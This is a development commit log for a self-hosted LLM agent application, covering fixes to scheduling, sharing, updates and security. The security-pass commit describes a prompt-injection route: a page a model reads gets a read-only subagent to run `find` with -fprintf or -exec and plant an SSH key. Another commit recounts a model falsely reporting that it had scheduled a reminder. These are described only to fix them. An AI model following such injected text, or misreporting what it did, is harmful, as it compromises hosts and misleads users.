e7294e5b2051f14d10eba2fcabbee1e7b22c4d97
112 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
e7294e5b20
|
What the audit is worth keeping, and where
Five passes produced a working document that said on its first line it was temporary. This is it being spent rather than abandoned. CLAUDE.md gains eleven paragraphs, each a thing that had shipped looking correct: a handler bound to a shared variable rather than its own socket, a script the base template already loads being loaded again, a control that stays clickable while it awaits permission, "is this name taken?" asked about visibility instead of ownership, root running a file the service account can write, sourcing anything under $PREFIX, a read-only command name that is not a read-only command, 0.0.0.0 being this machine, a folder that is not a label, a file that is not deleted by the row that named it, and a measuring harness that measured an unstyled page and reported a dramatic finding that was entirely an artefact. PLAN.md carries the seven things the audit found and deliberately did not fix, each with why: they change what something does rather than fix what it claims to do, which is not an audit's job. deploy/README.md says why root runs a copy, and that a host installed before this keeps the old wiring until the installer is re-run -- the button cannot fix it, because the button runs the old unit. docs/notes/audit-0.9.md is deleted, having been all three. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
0514568df0
|
Tests that found things reading did not
The testing pass: 2140 tests to 2283, and four bugs that no amount of reading had turned up. Three came from driving the JavaScript under a Node DOM stub, which is the practice CLAUDE.md sets out and this is the reason it does. The terminal dropped every keystroke after a reconnect. `onclose` closed over the module-level socket rather than its own, and close() queues its event -- so the old socket's close arrived after a new one was assigned and nulled the live one. Output kept coming, because onmessage is bound to the object, while every send gates on the variable. It also announced "Disconnected" about a shell that had just reconnected. Two scripts were loaded twice on /messages, once by base.html and again by the page. Each is an IIFE with its own state, so four keyboard shortcuts toggled their panel twice and therefore did nothing, /help opened two dialogs, and an @ mention attached its file twice. A sweep refuses any template re-loading what base.html has. The microphone had no guard while the permission prompt was up, so each click opened another stream and only the last was ever stopped. And a skill shared with you took its name out of your own library: create checked uniqueness against what is *visible* rather than what is owned, against a (owner_id, name) constraint, and told you to edit a row you cannot edit. --ink-faint failed the contrast minimum in both themes -- 3.85 and 3.19 against 4.5 -- so the smallest text on every screen was the hardest to read. Measured in a headless browser rather than judged by eye. And the suite runs on 3.11 and 3.12 now as well as 3.14. It had only ever run on 3.14 while the image ships 3.12 and the packaging claimed 3.11: the interpreter most people would run was the one nothing had tested. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
25fe81a224
|
An installer that moved a channel nobody asked it to
The channel lives in two places -- lembas.env, which the page reads, and the systemd unit, which the button obeys -- and a re-run keeps the env file while rewriting the unit. Defaulting to stable therefore meant a re-run for some unrelated reason silently moved one half and not the other, leaving a host whose page named edge and whose button deployed stable. That mismatch already had an alert. An installer that causes the thing it detects is the wrong end to be detecting it from, so it defaults to what the host already follows. Parsed rather than sourced: that file holds the secret key. Found by running it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
546f8a30d7
|
Boundaries that were supposed to hold
The security pass. Six findings, none reachable by visiting the site and every one a boundary this codebase says it keeps. A subagent is pinned to a list of read-only commands, in every mode, unattended, with no card anybody could approve -- and `find *` was on it. find writes files with -fprintf, runs programs with -exec and removes them with -delete, and none of that needs a character the metacharacter guard refuses. A page the model had just read could ask for a helper and get a key into authorized_keys, from Plan mode, which promises to change nothing. Refused in `subject()` rather than trimmed from the list: a pattern cannot say "and no dangerous flags", and "this one looks read-only" is exactly what put find there. The loopback guard missed `0.0.0.0`, which is not is_loopback but does connect to localhost -- so it answered a *decided* False and skipped the DNS half too. The one spelling of "this machine" that walked past a guard whose whole job is that sentence. Twice in the update helper, which is the one place this deliberately crosses a privilege boundary: root ran a script the service account owns, and root sourced a file that account can replace. Either turns a compromise of the web application into root. The first needed no compromise at all -- a pull happens as the service user and root runs whatever it fetched, so control of the branch was control of root. The old test asserted that exact ExecStart line and had pinned it in place. Push endpoints skipped check_url, the only outbound request that did. And a chat could be filed in another account's folder, which hands over its system prompt -- `_new_chat` resolved the folder, discarded it when it was not the caller's, and stored the raw id anyway. An existing helper install keeps the old wiring until install.sh is re-run; update.sh now says so when it finds itself inside the checkout. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
c666d7f93a
|
Air between what is running and the button that checks
The Check the remote button sat flush against the version and commit above it, so the two read as one block. Keyed on the list not being last rather than on the sibling's class: three different things follow it there depending on the host's state -- the button, the version-mismatch alert, the not-a-checkout hint -- and enumerating them is how the fourth gets missed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
c4aff999ba
|
Files that outlived the chats that held them, and a page that led with its footnotes
The second audit pass. Four things, and the first two were reported. The Prompts page put a screen of variables and a screen of preview above the editor, so the tabs began two screens down and switching one had to drag the whole page to be any use -- and on a short tab it could not drag far enough, leaving the panel stranded above a screenful of nothing. Editor first, reference after, bar sticky. Custom themes were three fixed slots: fifty-seven empty colour boxes on a fresh instance and no way to make a fourth theme. One block per theme plus a blank one, colours behind a disclosure. Both measured rather than argued about -- rendered through TestClient and driven under headless Chromium, where the tab bar moved 385->642px before and does not move now, and the themes page went from 5495px to 2820px. Asking where generated images go found the other two. Deleting a chat cascades to the attachment rows and leaves every file on disk; the helper written for exactly that was called from one place, and it was not the delete button, a schedule's chat, a helper's chat or deleting an account. Underneath it, `claim` bound message_id and never chat_id, so anything picked before a chat existed kept an empty chat_id forever -- which six readers filter on, so those files were also unnamed in the prompt, unopenable in the canvas, and invisible to the one caller the cleanup had. And folders nest now. The route has handled parent_id since folders existed, with a cycle guard and a depth cap the move path never applied; the sidebar has always drawn a tree. Nothing could ask for one. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
3afbccba81
|
A time in no particular zone, and a preview missing what it previews
The first audit pass: everything from 0.8.1 to 0.9.8 read as a whole rather than one feature at a time, starting with what a model is actually told. Four of these had shipped as correct. The date line carried a timezone variable that resolves to nothing until somebody chooses one -- so every default account was told times were "in unless they say otherwise", while two comments asserted the line disappeared instead. The prompt preview built its variables without a chat, which is what eleven fragments are gated on, so the whole agent surface was absent from it whatever was ticked. Plan mode was instructed to keep its plan current with a tool that mode withdraws. And knowledge_get returned a document whole where every sibling reader caps and says so, its description promising exactly that. The subagent guidance was wrong in both directions at once: it denied a documented parameter and named seven of twenty-three allowed commands. Both halves are pinned by tests against the real list and the real schema now, because prose and a constant drift the moment one is edited alone. docs/notes/audit-0.9.md carries the findings that are not fixed here, with why -- the ones whose fix would change what a feature does are the user's call, not this pass's. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
d201521353
|
A helper that would have deployed a channel nobody named
The channel is declared twice: in lembas.env, which this process reads and the page prints, and baked into the systemd unit, which is what the helper actually deploys. install.sh writes both together so they agree by construction -- and the moment somebody edits one by hand they diverge, with the page naming one channel down every card and the button deploying the other. Nothing anywhere would have said so. It cannot be collapsed to one place. Reading it from lembas.env at deploy time would mean the service account decides what gets deployed, since it owns that file -- and "the request carries no channel" is the property the whole design rests on. So the two stay, and the marker file the page already reads to know the helper exists now carries the channel it was installed with. A disagreement is an alert. Display only, deliberately: the service account can write that marker, so a compromised process could lie about what the helper will do -- but not change it, because the helper's own channel lives in /etc where that account cannot reach. Lying about the channel is a much smaller thing than choosing it. An empty marker -- every host installed before this -- reads as unknown rather than as a mismatch. Claiming one would put a red alert on every existing host. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
a66768dab0
|
Say in the plan what a release actually is
The previous commit meant to do this and edited a heading that exists only in the planning notes, not in PLAN.md -- so the replacement matched nothing and said nothing, which is the failure mode this file is half a catalogue of. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
44920b62be
|
A changelog, kept from now rather than assembled at the end
Every version bump gets an entry in the same commit. Not afterwards: the reason a change was made is known while it is being made and gone a week later, and a changelog assembled from commit subjects at release time is a list of things nobody can act on. Backfilled 0.8.2 through 0.9.8, because those shipped as a running deployment rather than as releases and 1.0.0's notes have to be assembled from something. The rule that earns the file its place is the last one in CLAUDE.md: a fix to something that *looked* like it worked gets a line, always. Those are the entries somebody stops working around a bug because of, and they are invisible from outside -- nobody reports a control that silently does nothing, they just quietly stop using it. Half of what is in here is that shape: a group delete that left its grants, a share panel that only saved if you also saved the resource, an update script that stopped after "== fetching ==". A release is a signed annotated tag whose message is that version's entry, and that is not decoration -- /admin/updates reads release notes out of the tag object, so the tag message is literally what an administrator sees on the update page. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
4532b95559
|
Release notes that are not forty lines of base64
Found by documenting it. `_notes_for` stripped `-----BEGIN PGP SIGNATURE-----` from an annotated tag's contents and nothing else, and which header appears depends on `gpg.format`: `openpgp` writes that one, `ssh` writes `-----BEGIN SSH SIGNATURE-----`. This repository signs with an SSH key, so the first signed release tag would have rendered its whole signature block as the release notes on the update page. `%(contents:subject)` and `%(contents:body)` would have avoided the question, and would also have thrown away every blank line in a body written as a list -- which is what release notes are. The suite caught the other half of the same change: `tag.gpgSign` makes a bare `git tag <name>` behave as `-s`, so the lightweight tags a test was making now wait for an editor it does not have. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
32a3b54f1f |
An update script that stopped where nobody could see it
Found by running it rather than by reading it. Under `set -euo pipefail` the tag resolution added in the last commit dies when no release tag exists -- grep exits 1 when nothing matches, and `head -1` closing the pipe early can hand it a SIGPIPE besides. That is every host until the first release is tagged, which is every host today. It printed "== fetching ==" and stopped: fetched, not reset, not restarted, and exit status swallowed by the pipe it was being read through. The fallback comment two lines above claimed to handle exactly this case. And the consequence of moving to SSH: install.sh takes REPO_URL from the running checkout's origin, so whoever pushes over SSH now hands the deployment a URL the service user cannot use -- it has no key and should not have one, being a credential that can push to the repository sitting on a box to do a read-only job. The clone would have failed loudly, with "Permission denied (publickey)" from an account nobody was thinking about. It is refused up front with the fix named instead. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
0c438a6333 |
A version somebody can read, instead of a sha nobody can
Updates follow a channel now. `stable` is the newest vX.Y.Z tag; `edge` is the branch tip, which is what this did before. Stable is the default, because a branch tip is not a release -- following one means deploying whatever was pushed five minutes ago, possibly mid-feature, which is right for whoever builds this and wrong for whoever runs it. The page can now say "running 1.0.0, 1.1.0 available" rather than showing two shas and leaving somebody to guess. Read with git plumbing and never a forge API, for three reasons in the order they bite. It would need a token on the deployment host -- a credential that can reach the repository, sitting on a box, to answer a read-only question about version numbers. It would tie this to one forge, so a fork on GitHub gets nothing. And it breaks: checked against the Gitea this is developed on, `tea whoami` works and `tea releases list` returns a 500 from a server-side panic about token scopes, so a page resting on that endpoint would have shipped already broken. Release notes still travel, inside the annotated tag object, which `git for-each-ref` reads with no API anywhere. Two details that are only obvious after getting them wrong. A tag with a suffix is not a release: git's version sort puts v1.1.0-rc1 *above* v1.1.0, so accepting one would step a stable host onto a candidate on the strength of a hyphen. And `--sort=-v:refname` rather than a lexical sort, which puts v1.9.0 above v1.10.0 and does it silently the first time a project reaches ten of anything -- there is a test. What is running is `git describe --tags --always`, so it reads "1.0.0" at a tag, "1.0.0-7-gd4f56d" seven commits past one, and a bare sha before the first release ever exists. That last case is what `--always` is for. When it lands exactly on a tag whose name disagrees with __version__, the page says so: a tag cut before the version bump names a release nobody can identify afterwards, and the check costs no subprocess because both facts are already in hand. update.sh resolves the channel the same way and detaches at the tag rather than resetting -- a `reset --hard <tag>` while on main would move the local branch to it, which is a rewrite of a ref nobody asked to rewrite. A host with no tags falls back to the branch and says so, which is every host until the release. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
c3bb6c9eaf |
An update you can ask for, and a boundary that stays where it was
The button cannot do the work, and that is the whole design. The service runs as an unprivileged account, cannot restart itself, and should not be able to: a web application that can restart its own service is one whose worst day is much worse. So /admin/updates writes a file, and an opt-in systemd .path unit runs deploy/update.sh as root. Three properties hold it up, and each is a thing that could have been got wrong. The request file carries nothing that reaches a command line -- no branch, no ref, no arguments -- because the branch is baked into the unit at install time, so pressing the button is always "deploy the branch this host was configured with" and can never be "deploy something else". It is off unless somebody passes INSTALL_UPDATE_HELPER=1, and re-running the installer without it removes both units and the marker. And without the helper the page says so and prints the manual command rather than writing a file nothing is watching, which would be a button that reports success and does nothing. The card that says all of this is rendered whether or not there is anything to apply. It was inside the "there is an update" branch first, so an administrator could not discover the helper was missing until the day they needed it, which is the worst possible moment. Opening the page makes no network request; Check is the one thing that fetches. And it shows the log between, not a count: "3 behind" is a number somebody has to go and look up, while the subjects are what decides whether this is worth restarting for right now. Docker is one stage, because there is nothing to build -- no Node, no compiled assets. It bakes no secret key (one in an image is one every copy shares, and rotating it makes stored API keys unreadable), no data, and no .git, so /admin/updates inside a container correctly reports that it was not installed from a checkout. Compose publishes on loopback and refuses to start without a key. TLS in front is a constraint rather than a recommendation: the service worker and the microphone both require HTTPS or localhost. The image was built and run before this was committed, which is how the missing COPY of LICENSE was found -- pyproject declares it and the build backend reads it, so the failure reads like a packaging problem and is one line. deploy/lxc-install.sh creates an unprivileged Debian container and runs the existing installer inside it. A wrapper, not a second install path: a parallel installer is two things to keep correct and one of them rots. /healthz opens the database rather than only proving the socket is listening -- a process that is up with a database it cannot open answers every page with a 500 -- and says nothing about what is here, being reachable without signing in. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
9d7fb72bdb |
Grants that outlive what they name, and a rule you can read
sharing.forget_principal has existed since shares did, documented as the thing that stops a recycled id inheriting somebody's grant, and was called by nobody. Deleting a group left every grant naming it; deleting an account left both the grants to it and the grants of its own work -- that second half is the one nothing else could catch, since their rows cascade and the shares of those rows have nothing to cascade from. Both now run before the delete, while the rows are still findable, and a deleted resource forgets its own. library.share defaulted to False, which meant sharing shipped documented as done and unreachable: the panel only renders for somebody holding it, so out of the box nobody could share anything and nothing said why. It is on. The panel itself was checkboxes inside the resource's *save form*, listing every group and every account on the instance, unpaginated, on every detail page -- and a tick only took effect if you also saved the resource. It is its own routes now: search, one grant per POST, the panel re-rendered from what is stored. Anything already shared stays listed whatever the search says, or removing a grant would mean searching for the name it was given to. Reports join the shareable set and memories still do not: a finished piece of work is the thing somebody most wants to hand over, and a record about a person is not content to pass round. reports.visible became sharing.visible_to, which is the one line its own docstring predicted. Two things fell out: `owned` beside `get`, because sharing grants reading and deleting is the owner's alone; and reading somebody else's report no longer clears their unread dot. Permissions gained the answer to "what can this person actually do?" -- explain() is resolve()'s working shown rather than thrown away, naming admin, the baseline, or the groups that granted each one. That is the simulation the union rule exists to make unnecessary, and until now the only way to get it was to open every group and read the grids by eye. Users and groups are list-plus-detail, and membership is edited from one side: it was on both, and a full-form POST from either overwrote what the other had shown. Read and write are split for notes, memory and skills -- checked on the tool's declared risk, after the gate so it can only narrow, and defaulting on. Quotas are the union rule applied to numbers, with the corner that makes it interesting: zero means "no limit" and wins outright, or a group saying unlimited would count for less than one saying a million. Absent means "no opinion". _narrower folds a group's ceiling with the instance's and is deliberately not min, for the same reason. Five axes, enforced where each is knowable -- before a reply is built, before a second one starts, on an agent reply's clock, before a minute of GPU, and beside the helper cap -- and usage is recorded even for a reply that was stopped or errored, because an endpoint charges either way. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
757ab305ee |
Finding a thing that does not use your words
Three pieces, and the first one is that they are all optional. Extraction stops being constants. Upload size, image edge, JPEG quality, PDF pages, extracted characters, orphan age and the text-extension list are settings now, read through a process-level snapshot rather than a session -- `prepare` and everything under it are called from routes, tool runners and the startup sweep, and several of those have no session in hand. Two things deliberately stayed constants: the decompression-bomb guard, which is a guard and not a preference, and ORPHAN_AGE, which would have been evaluated at import if it stayed in the signature and pinned the shipped 24 hours whatever anybody set. An embedding model is picked from the models an administrator flagged for it, and one that has since lost its flag is *named* rather than dropped from the picker: a setting that vanishes is one nobody can tell from a setting never made. Nothing here is required. Choosing none means no chunk rows, no requests, and retrieval.search returning exactly what fts.search_ids returns in exactly that order -- asserted, because it is what makes this safe to land on an instance that never asked for it. The two rankings are fused by reciprocal rank fusion: ranks and not scores, because bm25 is a corpus-dependent negative and cosine is 0..1, and normalising them onto one scale means picking a constant nobody can tune without a labelled set they do not have. RRF's one constant is famously insensitive and degrades to whichever list is non-empty -- which is what turns "no embedding model" into a branch that does not exist. A record scores as its best chunk rather than its average, or a long document about something else outranks a short one that says the thing. Width and model are stored beside every vector and a mismatch is skipped, because vectors from two spaces score against each other perfectly happily and mean nothing -- a search that works and is wrong is the worst failure this can have, and a model change now leaves stale rows ignored rather than trusted. Indexing is fired and forgotten, and how a change is noticed is a session event rather than a call in each of the ten library writers. That is a departure from this codebase's taste for explicit seams, for the reason tool_label is a Jinja global: a step every writer has to remember is one that gets forgotten, and here forgetting is silent -- the record saves, keyword search still finds it, and only its recall goes stale. Chunks are embedded before anything is deleted, so a failure leaves the old index rather than half a new one. Also: `embeddings` joins the model capabilities, and the three tool flags that had shipped with no checkbox -- canvas, scheduling and helpers -- have one. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
b8e7745311 |
An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the Middle-earth strings as data; themes as token sets; and a stylesheet for what none of that reaches. All four are on one page, in one settings group. The snapshot is a Jinja global over a process-level cache, because render() has no session and four render paths never reach it at all -- the sign-in page, the error pages, the offline page and the SSE fragments. A context value would have had to be threaded through every one and would still have missed those. It being a global is also what lets mark() branch on an uploaded logo without any of its six call sites learning about branding; the macro that renders the sidebar link is called brandlink now, because a macro imported as `brand` shadows the global for the whole template and took out every page at once. Defaults in code and overrides in the database, as the prompt fragments do, with one difference stated in the module: an empty fragment means off, an empty flavour string means the shipped wording. And blanked rather than dropped -- settings_store.update merges, so an omitted key leaves what was stored last time and "I typed the default back in" would store something different from "I changed nothing". A custom theme sets a handful of tokens and inherits the rest, and the inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as [data-theme="shire"], so a custom light theme lands on parchment rather than four light colours on near-black. Values are validated on read rather than on save, because a theme written straight into the settings table still has to produce a stylesheet that parses -- a `}` in a value ends the rule and silently breaks every rule after it. The soft variants are derived from the accent, or a changed accent leaves focus rings in the old hue and reads as half-working. /branding.css is a route, not an inline block: an external stylesheet has no HTML context to escape from. The link carries a content hash, so a save is not left to the browser's cache, and it is deliberately outside the service worker's precache list, which is versioned by the release. The instance name moved off /admin/general rather than being duplicated there. An upgrade keeps it: the general row is read as a seed exactly while the branding row has never mentioned the name, which is `key in row` and not `row[key] is truthy` -- the two read alike would resurrect the old name underneath a cleared one. The theme list stops being a hard-coded pair in five places. Every failure mode in that area is silent, so it is driven under a DOM stub as well as tested. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
e16bede85b |
Work handed to a second model, which may not ask
subagent_run gives a self-contained piece of work to a helper carrying the parent's connection, directory, model and effort, and hands its answer back as the tool result. The mechanism is the one scheduled runs already use -- a hidden chat, one turn, wake_chat, and a poll -- so tools, rounds, budgets, metrics and steps all work with no second implementation. The two alternatives were rejected where they had already been rejected once: a nested Generation is two replies writing one transcript, and a one-shot complete() has no tools, which schedule/runner.py records as useless for exactly this case. Every restriction is a property of the child's row, applied by resolve_tools after the gates, because a rule that lives in a system message is one a page the model just read can argue with. No questions, no recursion, nothing that writes unless the call asked for it and the parent's own mode would not have stopped first, and commands only from a fixed read-only list -- in every mode including Auto, because the task text can have come from a page. Withdrawing ask_user turned out to be half of "nobody is watching". An approval still built a card nobody could see and parked the reply until approval_timeout, which from every screen is the feature not working. Chat.unattended is the question now, and not the kind: _authorise answers with a refusal instead. A scheduled task's chat had the same hole and is covered by the same flag. Three bounds, counted where each is knowable: per reply on the parent's Generation, instance-wide in a set a restart clears, and per helper in settings of its own so one runs out of room long before the reply that asked. Past the clock the helper is stopped rather than abandoned, so a partial answer comes back with a sentence saying so. Also: four gates had shipped into the scope menu with no name, taking the first tool's label instead -- the canvas switch read "Canvas written". There is a test that refuses a family without one. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
6fcb9c9892 |
Defaults an administrator can actually set
There were none. `workflow.DEFAULTS` was the only source, so 512x512, euler and twenty steps were what every instance got whatever card it was running on -- and 512 square on an SDXL checkpoint is precisely what the tool's own description warns produces duplicated limbs. The two ways round it were both bad: bake literals into a template where the placeholders should be, or write prose in the instructions box and hope. Three rungs now, most specific winning, with DEFAULTS staying underneath as the floor so an instance that sets nothing behaves exactly as it did and a floor improved in code still reaches everybody. An empty box is "no opinion" rather than zero, which matters: read as a number it would set every instance to zero steps, and ComfyUI refuses that in a way that looks like a broken model. The right control for each, because a text box is wrong for most of them. The samplers and schedulers were already being discovered by the Test button, stored, and read by nothing at all -- they are the pickers now. A stored value missing from the list is kept as an option anyway, or opening this page and pressing Save would silently clear a working setting. Checkpoints are chosen rather than typed, and the instance default is a rung of its own instead of "whatever happens to be first in a textarea somebody filled in some order". And batch, at last: `batch_size` was a literal 1 in the base template, so an administrator whose card can comfortably make four had no way of saying so. Deliberately not something a model may set -- one asking for six because it is unsure is the exact cost this must not invite. The tool's schema restates the defaults it quotes. Every "Default 20." in there was written when there was one set of defaults in the world; left alone, an instance drawing at 1024 would go on telling the model 512, and the model reasons from that sentence rather than ignoring it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fb54a236ae |
News that finds you, including when nothing of ours is open
The dots covered Reports and Messages from the day those sections existed. The announcement did not: only a chat reply produced an HX-Trigger, so a scheduled run that filed a report or posted into Messages lit a green dot in a corner and said nothing at all. That is precisely the arrival nobody is watching for -- a chat reply is one you asked for a moment ago and are probably looking at. So every kind announces, each with its own once-only flag, and the payload is a list of items rather than of titles, because a notification is a thing you click and a title cannot say where. One arrival, three channels, and they must not all fire. A toast for somebody looking at the page; a count in the tab title while it is hidden, cleared on focus; a system notification for somebody elsewhere entirely. The service worker is the only place that can tell them apart -- the server cannot see whether a window is focused and the page cannot see a push it did not receive -- so it stays quiet when one of its own windows has focus. And web push, hand-rolled against RFC 8291 and RFC 8292 with the cryptography already here for Fernet. It exists because everything else is polled by an open page, and the arrival worth interrupting somebody for is a schedule firing at seven in the morning with the laptop shut. The trade is real and is written down rather than glossed: the POST goes to Google's or Mozilla's push service, the payload is sealed end to end so they cannot read it, and what they do learn is that this server sent something and when. Opt-in per device, off until asked for, and the rest of the system works without it. Nothing else in LLeMbas contacts an outside service on its own. The encryption is tested by decrypting it back with an independent implementation of the specification's other half. There is no other way to know: a push service accepts the POST and forwards bytes it cannot read, so a wrong derivation is a notification that never appears, with a 201 in the log. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
feca8861a1 |
Something a model could not do, and so wrote a note about instead
Asked to remind somebody every Monday, a model looked down its tool list, found notes_create described as "something worth having in a later conversation" and memory_add beginning with the word Remember, wrote a note, and reported that it had scheduled something. Every screen agreed with it. There was no scheduling tool at all -- the near-misses were the only thing there was to reach for, and nothing anywhere said the thing it was being asked for existed. The seam had been left open on purpose: Schedule.origin has defined ORIGIN_MODEL, with no writer, since scheduling shipped, and services/schedules.py says in its first line that it holds what the routes *and the tools* both need. This is the tool that was meant to go through it. Four of them, and a thin layer: rule.validate is still the one total normaliser the form and the compile share, schedules.create still writes the row and the task chat together, and rule.describe still says what came out. A second dialect for models would mean two definitions of "every other Tuesday" and one of them going quietly wrong. The result is that description, never "done". A schedule is invisible until it fires, which may be days away, so the sentence in the reply is the only moment anybody can check that Monday was read as Monday -- and the tool says so, in the text the model reads back. The list badges the ones nobody typed. Gated on schedule.use rather than a permission of its own: somebody who may set one up by hand may say so to a model instead, and a second checkbox beside the first would only ever be answered "the same as that one". Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
14b1428f9f |
A connection that cannot point at the machine it is running on
"Nothing runs on the LLeMbas host" is the sentence the absent sandbox and the absent local MCP rest on, and an SSH profile aimed at 127.0.0.1 walked straight past it -- through a real login, with every gate in policy.py still applying, onto the machine holding the database and the Fernet key. From the SSH layer down it is indistinguishable from a container on the network, so nothing here could have noticed. One switch, three positions: never, one named port, anywhere. The middle one is the one with a real use -- a container that published its SSH port on the loopback interface is genuinely somewhere else -- and port 22 is refused even there, because that one is this host's own sshd. Enforced in five places, because a row can predate a setting: saving a profile, `session.resolve` (the control every agent tool, the terminal and the canvas go through), the composer's picker, browsing, and the draft the panels open against before a chat exists. Check refuses before it opens its socket rather than after. And the recognition never resolves a name on the request path. `refusal` runs several times per page render; the first version of this looked names up inline and the suite went from two minutes to not finishing. Literal forms are decided from the string, a name is settled where a network call is already expected, and the answer lives on the row. The gap that leaves is written down rather than discovered. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fa8c8ab5e8 |
An edge that is not drawn, and a panel that stopped eating the site
`hx-get=""` is not "fetch nothing". htmx looks for the attribute, not for a value, so the empty one the canvas rendered before a chat existed was a real request for the empty path -- which the browser resolves against the current document. Opening the canvas on the new-chat screen fetched the new-chat screen and swapped the whole site into the panel. The attribute is omitted now, and a test refuses an empty verb anywhere on the page. Which panels can exist is the server's answer; which are offered is the browser's. Both need an agent chat on a chosen connection, and before a chat exists those are controls in the composer -- so answering with the first profile offered a terminal on an ordinary chat with nothing selected. They follow `lembas:agent-target` now, and an open panel whose target goes away is closed rather than left showing one machine under another's name. `.tabs__body` is only sometimes the scroller: true where the tabs are a bounded flex child, false under the admin layout, where the page scrolls instead. So setting its scrollTop on every tab change had never once run on /admin/prompts, silently, while the reader was dragged to the bottom of a document that had just got shorter. The rule names the position now, and the handler finds the container that actually scrolls. The two top borders come off. They were what made the misalignment at the bottom of the shell visible; `--footer-height` stays, because two ends at different heights are visible without a line to prove it. The top of the shell keeps its line -- there, everything is `--header-height` and aligns by construction. And one version. pyproject carried its own copy and had drifted three minors from the one everything actually reads. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
00ce04addf |
Narrow a chat before it starts, and find a file rather than spell it
Six things, all found by using the thing rather than by reading it. The scope menu only appeared once a chat existed, on the reasoning that there was no row to post to. True, and the wrong conclusion: the harness puts a tool's guidance in front of the model the moment the tool is offered, so the menu could not be reached until after the model had been told how to keep notes and handed the tools to do it -- and switching it off then does not un-send that turn. It is on the new-chat screen now and writes nothing: `_scope_context` builds a stand-in Chat, which is `draft.as_chat`'s trick again, and the switches ride along with the first message. Checked means on and a browser submits only the ticked boxes, so every gate also renders a hidden input naming it and `start_chat` subtracts one list from the other; inverting the control would read backwards under a menu that says everything is on unless you say otherwise. Only the off ones are written, because absent means on and one representation of it is what keeps "why is this off?" to a single answer. Nothing is validated against the offered set, since scope_json narrows after every gate -- naming a gate that was never offered switches off something that was not on. Then the scheduling instructions, audited against a 4B model on this machine rather than against my own reading of them. Ten realistic requests, ten compiled, twice over -- so the prompt is sound. What was not sound was `describe`, which built a phrase by joining fragments and read "Every the 1st at 09:00" for the commonest monthly schedule there is, and "Every of January" for a month with no day. That string is the whole of what somebody sees before approving a schedule and the whole of what the model is told about its own chat, so a phrase nobody can parse is a review step nobody performs. It reads as English now, collapses Monday-to-Friday to "every weekday" and seven days to "every day", and every case in the test is a rule that model actually produced. The one mistake it made was naming Wednesday for "every other tuesday", so the weekday numbering is spelled out rather than left as "0-6, Monday is 0": getting that wrong is the error here that still looks like a working schedule. Roughly one call in six also came back empty -- a local runner swapping models under the request will do that -- so an unusable reply is asked for once more before giving up. Not on an LLMError: an endpoint that refused will refuse again, and the reader is better served by the form than by waiting twice for the same answer. Canvas asked for a typed path, which was the last control in the application expecting somebody to remember an absolute path on another machine -- the same complaint the folder page's directory field answered with a picker. /browse takes pick=file and the same fragment makes files buttons, because a second copy of that listing is a second place for the path arithmetic to be got subtly differently. The button carries data-canvas-open rather than an hx-post since the path is not known until the dialog closes, and ui.js posts it through htmx.ajax so the response lands in the panel exactly as every other canvas action's does. The key is `agent:<path>`, so a file opened by hand and one opened by the model are one tab rather than two spellings of it. The tabs already existed and already closed; they now square off at the bottom and the active one takes the body's background, so which is selected is structural rather than a tint nobody can see in a theme they did not choose. Highlighting was already there for every language named and is checked for fifteen of them. Three smaller ones. Tabs kept their scroll position, so switching from a long panel to a short one left the browser clamping to that panel's bottom: the end of it above a screen of nothing, which reads as a page that failed to load. Nothing in CSS can reset a scroll position. The sidebar's footer and the composer sit either side of one vertical edge and were both content-sized, so their top borders met it at different heights and read as one line that had been broken -- `--footer-height` is a calc of the pieces the footer is built from, applied as a min-height to both, which is exactly what `--header-height` already does at the top of the shell. And "Add a workflow" sat flush against the list it adds to, stated as an adjacency because `.btn-row` is right to carry no margin everywhere else it appears. Both pieces of JavaScript were driven under a DOM stub before committing, which is how the tab listener's delegation and the canvas button's six behaviours were checked at all -- `node --check` parses a file that does nothing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
a195e1b3ed |
Bump the version, because the service worker is keyed on it
app.js gained the backward scroll anchor and two stylesheets gained rules the new pages need. The worker caches static assets under a name derived from /sw.js?v=<app version>, so without this a returning browser keeps serving the old ones -- and the failure is the quiet kind: the schedule form renders with every fieldset showing at once, and scrolling up through Messages drags the reader off the page, on precisely the browsers that have been here before. 0.8.0 rather than a patch: three sections, two tables and a permission that did not exist. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
2f09d8363d |
Something can happen because time passed, and land somewhere worth reading
Nothing in LLeMbas ever happened on its own. Every reply was downstream of
somebody pressing Send, and the one exception -- jobs.wake, waking a chat when a
background job finishes -- was downstream of a command they had run. PLAN.md
never listed scheduling as unbuilt because services/chat.py:618 had recorded it
